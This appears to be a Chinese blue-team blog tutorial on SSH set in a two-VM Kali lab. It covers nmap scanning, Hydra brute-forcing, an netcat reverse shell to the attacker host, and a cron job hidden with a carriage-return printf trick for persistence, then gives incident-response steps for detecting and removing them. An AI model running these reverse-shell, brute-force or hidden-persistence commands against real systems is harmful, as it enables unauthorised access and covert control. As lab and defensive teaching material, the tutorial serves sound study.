SSH

SSH

1.什么是SSH

  一般来说搭建服务器,使用网站就会涉及到这个协议的使用, 比如我在ucloud的上租了一个liunx的云服务器:

  SSH的全称是安全外壳协议,它是一种加密的传输协议,最主要的使用功能和用途就是用来远程登录系统。可以在不安全的网络中为网络服务提供安全的传输环境。其通过在网络中创建安全隧道来实现SSH客户端与服务器之间的连接。

  当然除了使用云服务外,使用shell7或者是MobaXterm也是采用这种协议的。

2.常见端口及对应服务

  • 22端口 SSH
  • 23端口 Telnet
  • 25端口 SMTP
  • 80端口 HTTP
  • 443端口 HTTPS
  • 445端口 SMB(用于Windows文件共享和打印机共享) 著名漏洞:ms17-010 永恒之蓝
  • 3306端口 mysql
  • 3389端口 rdp远程桌面连接服务

  这些都是渗透中比较常见的扫描端口

3.使用Nmap扫描SSH端口

  这里以两个版本的kali虚拟机作为示例,其中喜多川壁纸背景的kali2022版本为攻击机(看我夹带私货),原壁纸的kali2021版本作为靶机

  攻击机:192.168.32.131

  靶机:192.168.32.128

  接下里我们需要开启靶机的相关服务,使得能够被扫描成功,首先进入root权限查看ssh运行情况

1
/etc/init.d/ssh status

  可以看到进程的活跃状态是死的,这需要我们修改内容后进行重启

1
2
3
4
5
6
//修改sshd_config文件
vim /etc/ssh/sshd_config

//添加以下两行
PermitRootLogin yes
PasswordAuthentication yes

  然后继续重启ssh,并查看运行状态

1
2
3
4
5
6
//下面两条指令都能重启ssh
/etc/init.d/ssh start
service ssh start

//查看运行
ps -e | grep ssh

  在拥有相关地址信息并配置好后,开始让攻击机进行扫描,使用nmap进行操作

1
nmap 192.168.32.128

  上图所示,我进行了两次扫描,第一次是在靶机开启ssh前,一次是在ssh开启后,明显的扫描到了22/tcp open ssh的结果。

4.Hydra等工具爆破SSH端口

  对于SSH协议,其实有比较多的爆破工具进行爆破,比如Hydra、msf、美杜莎等等。其中Hydra也就是我们所说的九头蛇工具,一般指令是:

1
hydra -L users.txt -P password.txt ssh://192.168.32.128

  我展示了两张运行效果,第一张是在字典没有账号密码的情况下爆破,第二张则是有对应kali的账号密码进行爆破。如果要查看详细结果则可以在进行如下命令运行:

1
hydra -L users.txt -P password.txt -vV ssh://192.168.32.128

5.SSH登录

  当有账号密码的时候,其实就很简单了,链接的办法就有很多了,比如我们在使用liunx的时候,就能直接使用ssh进行连接,当然也可以使用前面提高的shell等工具进行连接,这里展示使用kali攻击机进行连接

1
2
//其中kali是用户名 ,@后面接上靶机的地址即可
ssh kali@192.168.32.128

6.创建隐藏计划任务

  从前面可以看到,我已经使用攻击机ssh连接到了靶机,接下来我们进行一下操作进行尝试,比如创建隐藏计划任务,访问tmp文件,进行bash的修改

  接下来使用vim task.sh命令修改内容,如果这个文件存在就会进行编辑,如果这个文件不存在就会创建一个空文件再进行编辑,我执行该命令进去后是空白的文件,这说明该文件是之前不存在的,接下来写入对应的代码:

1
2
#!/bin/bash
nc 192.168.32.131 8888 -e /bin/bash
1
cat task.sh

  接下来查看我们创建tash文件的权限

1
ls -l task.sh

  虽然显示了可读可写但是没有执行的权限,所以这里我们使用chmod进行权限的赋予

1
chmod +x tash.sh
1
2
3
4
5
6
7
8
9
10
11
vim create_task.sh


//写入内容
(crontab -l;printf "* * * * * /tmp/task.sh;\rno crontw-wab for 'whoami'%100c\n")|crontab -

cat create_task.sh

chmod +x create_task.sh

./create_task.sh

  这里需要注意两点,一点是在printf后面需要有个空格,我忘记加入了,导致一开始没有成功,第二个需要在./create_task.sh前使用指令监听对应端口

1
nc -lvp 8888

  就这样子,最终达到了达到最终的权限维持的目的

7.SSH端口爆破的应急响应

  我们可以通过一些指令去查看是否有被可疑地址链接的情况,比如如下的指令:

1
nerstat -antpl

  可以看到,靶机被攻击机的连接存在了记录,第六步的创建隐藏计划任务成功的后,PID和Program name也会有对应的内容你,比如2110/bash等,这种时候就需要用到进程树的指令

1
pstree -p

  接下来就是一层层的往上查找,使用命令查看执行命令

1
systemctl status ssh 2110
  这里就能发现攻击机的执行任务和相关内容,也可以查看登入日志:
1
2
3
4
//查看登录成功的日志
last -f /var/log/wtmp
//查看登录失败的日志
last -f /var/log/btmp

接下来就是杀死进程,删除文件以及修改账号密码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//删除 root 用户的 cron 任务
crontab -r -u root

//杀死2110进程
kill 2110

//删除文件
rm task.sh
rm create_task.sh

//修改密码
passwd kali

//修改ssh端口
vim /etc/ssh/sshd_config

SSH
https://one-null-pointer.github.io/2023/05/09/蓝队——SSH/
Author
liaoyue
Posted on
May 9, 2023
传送口